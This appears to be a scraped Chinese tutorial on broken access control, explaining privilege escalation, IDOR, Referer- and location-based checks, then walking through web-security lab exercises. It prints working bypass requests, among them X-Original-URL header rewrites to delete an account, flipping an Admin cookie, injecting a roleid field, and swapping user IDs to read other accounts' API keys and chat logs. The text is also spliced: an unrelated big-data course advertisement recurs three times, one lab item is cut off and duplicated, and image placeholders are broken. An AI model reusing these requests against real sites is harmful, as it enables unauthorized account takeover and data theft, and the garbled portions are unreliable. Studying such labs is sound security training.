既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
例题 3、4
- 平台配置错误导致访问控制中断
一些程序的访问控制是依赖于平台基于角色对特定URL和HTTP的限制实现的。
DENY: POST, /admin/deleteUser, managers
禁止managers用户组的人员 使用删除账户的功能
但是可尝试修改访问方法
和 X-Original-URL
X-Rewrite-URL
两个header重写URL,实现绕过
POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...
例题 5、6
2. 横向权限提升
如果用户能够访问属于另一个用户的资源,即为横向权限提升。如查看他人个人信息页或查看工资单。
攻击手段与垂直权限提升攻击手段类似,如直接访问URL
https://insecure-website.com/myaccount?id=123
例题7、8、9
3. 从横向到纵向的权限提升
如果横向权限提升到了其他高权限账户,则实现了从横向到纵向的权限提升。
例题 10
4. 不安全的直接对象引用(IDOR)
应用程序直接调用被用户控制输入的信息进行查询,造成对恶意对象的直接调用。
- 对数据对象的直接引用
https://insecure-website.com/customer_account?customer_number=132355
如上URL,某个网站数据库存储的索引值(index)直接作为路径参数customer_number
的值。若防护不当,攻击者可以任意修改该值,查看其他索引值对应存储的信息。
若遍历到存储高权限账户的索引值,则攻击会造成很大的威胁。
- 对静态文件的直接引用
https://insecure-website.com/static/12144.txt
如上URL,某个网站将聊天记录以txt文档形式定期存储在服务其上,随着不断累积自动生成新的txt文档。网站可通过URL直接访问这些静态文件。若防护不当,攻击者可任意修改该URL路径,查看其他静态文件。
例题11
5. 多步骤业务流程中的访问控制漏洞
在处理比较重要的业务时,往往采用多步骤处理流程。以管理员更新指定账户信息的操作为例,往往涉及至少如下三个步骤:
- 读取指定用户的信息
- 提交变更
- 查看变化内容并确认
有时网站安全防护只针对部分步骤进行了访问控制,而忽略剩余页面的防护。比如,开发者对上述一、二两步骤设置访问控制,却默认到达第三步的用户为可信用户,无需再做访问控制。攻击者可以利用这点直接调到第三步进行未授权访问。
例题 12
6. 基于Referer的访问控制
有些网页的认证逻辑是,用户在登陆管理员页面/admin
时,进行严格的访问控制。但在执行后续操作时,如删除某个用户/admin/deleteUser
,则采取验证报头referer
的方式,验证其是否从/admin页面过来。
referer标头的作用是记录请求过来时的上一个路径,但此标头可以在Burp等类似工具中任意修改。
例题 13
7. 基于地理位置的访问控制
有些商业或社交媒体应用对访问者的位置进行访问控制,此种情况可以使用代理、VPN或者修改地理位置的插件进行篡改,从而实现绕过。
5. 漏洞实例
1. 不受保护的管理功能(Unprotected admin functionality)
- 目标
删除账户carlos
- 解题思路
随手一试有/robots.txt
得到路径/administrator-panel
可直接访问
2. 不受保护的管理功能但使用了不可预测的URL(Unprotected admin functionality with unpredictable URL)
- 目标
删除账户carlos
- 解题思路
在首页代码中发现js代码,获取后台管理路径/admin-mzk80q
var isAdmin = false;
if (isAdmin) {
var topLinksTag = document.getElementsByClassName("top-links")[0];
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-mzk80q'); (关键信息在此行)
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
var pTag = document.createElement('p');
pTag.innerText = '|';
topLinksTag.appendChild(pTag);
}
3. 由请求参数控制的用户角色(User role controlled by request parameter)
- 目标
删除账户carlos
测试账户:wiener:peter
- 解题思路
浏览数据包发现cookie中存在Admin=false
,改为true即可
GET /my-account HTTP/1.1
Host: 0ab100e204f55672c0eb16ac002b0029.web-security-academy.net
Cookie: session=DsCKlJOncLPK0Qw4ANnbaeMd0SjWW9m9; Admin=false
4. 可以在用户配置文件中修改用户角色(User role can be modified in user profile)
- 目标
管理页面路径为/admin
用户roleid=2
可访问。删除账户carlos
测试账户:wiener:peter
- 解题思路
- 经测试在更换邮箱功能点时发现如下数据包和响应,包含
roleid
- 经测试在更换邮箱功能点时发现如下数据包和响应,包含
POST /my-account/change-email HTTP/1.1
Host: 0aa400d30361cda2c0613cc0007b00f7.web-security-academy.net
{"email":"123@123.com"}
HTTP/1.1 302 Found
Location: /my-account
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 115
{
"username": "wiener",
"email": "123@123.com",
"apikey": "EG450geTGShSaScJP4Wx0jQfObL3dITa",
"roleid": 1
}
- 因是json交互,尝试在请求json中,增加
roleid=2
POST /my-account/change-email HTTP/1.1
Host: 0aa400d30361cda2c0613cc0007b00f7.web-security-academy.net
{"email":"123@123.com",
"roleid":2
}
5. 可以绕过基于URL的访问控制(URL-based access control can be circumvented)
- 目标
管理页面在/admin
HTTP支持标头X-Original-URL
删除账户carlos
- 解题思路
本题访问/admin页面被拒绝,考虑使用X-Original-URL
重写URL,实现绕过
GET / HTTP/1.1
Host: 0a1400540499c19fc0588c9500a700cc.web-security-academy.net
X-Original-URL: /admin
GET /?username=carlos HTTP/1.1
Host: 0a1400540499c19fc0588c9500a700cc.web-security-academy.net
X-Original-URL: /admin/delete?username=carlos
6. 可以绕过基于方法的访问控制(Method-based access control can be circumvented)
- 目标
登陆账户wiener:peter 提升权限至administrator
可参考登陆administrator:admin熟悉整个流程
- 解题思路
暂略
7. 可控制请求参数中的用户的ID (User ID controlled by request parameter)
- 目标
获取账户carlos 的API key
测试账号:wiener:peter
- 解题思路
熟悉流程后,发现数据包/my-account?id=wiener
尝试更为为id=carlos
8. 具有不可预测的用户ID (User ID controlled by request parameter, with unpredictable user IDs)
- 目标
获取账户carlos 的 GUID 获取其API key
测试账号:wiener:peter
- 解题思路
- 熟悉流程后,发现数据包
/my-account?id=85ecc1fe-90e2-4de8-b2ac-f35b58117019
- 发现参数
id
使用了GUID无法预测,不能像上题直接更换参数了。继续浏览网页查看是否有其他途径获取carlos的GUID - 发现carlos发布的文章,查看页面代码,发现亮点(其实这道题放在信息泄露那里更适合)
- 熟悉流程后,发现数据包
<h1>What Can 5G Do For You?</h1>
<p><span id=blog-author><a href='/blogs?userId=cad2ac39-9e5b-45ed-bb36-7db56335aa3d'>carlos</a></span> | 07 May 2022</p>
- 改造数据包为
GET /my-account?id=cad2ac39-9e5b-45ed-bb36-7db56335aa3d HTTP/1.1
Host: 0a21001804b9771bc0c2445d00ad005d.web-security-academy.net
9. 重定向数据泄漏获取ID参数 (User ID controlled by request parameter with data leakage in redirect)
- 目标
获取账户carlos 的API key
测试账号:wiener:peter
- 解题思路
此题与第7题完全一样,只是页面重定向到了登陆界面,但是数据包信息全部泄露。
给我们的启发是做安全渗透要一边看web页面,一边看数据包内容,甚至是习惯只看数据包,来发现所有功能点和内部文件的调用关系。这是个基本功。
10. 请求参数控制,获取密码(User ID controlled by request parameter with password disclosure)
- 目标
获取账户administrator的密码,删除账户carlos
测试账号:wiener:peter
- 解题思路
与第7题思路一致,在响应包中获取administrator的密码
11. 不安全的直接对象引用(Insecure direct object references)
- 目标
通过查看聊天记录文件,获取目标账户carlos的密码,登陆其账户。
- 解题思路
- 找到聊天功能点,查看数据包,发现下载数据包路径为
GET /download-transcript/2.txt
- 尝试修改为
GET /download-transcript/1.txt
,可得到他人聊天记录获取密码
- 找到聊天功能点,查看数据包,发现下载数据包路径为
12 多步骤处理流程的访问缺陷(Multi-step process with no access control on one step)
- 目标
使账户wiener:peter成为管理员权限账户
可以使用administrator:admin熟悉整个流程
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
a57acb))
- 目标
使账户wiener:peter成为管理员权限账户
可以使用administrator:admin熟悉整个流程
[外链图片转存中…(img-R5H13p01-1715458141152)]
[外链图片转存中…(img-5AcLfdgr-1715458141153)]
[外链图片转存中…(img-K0jaOC8R-1715458141153)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新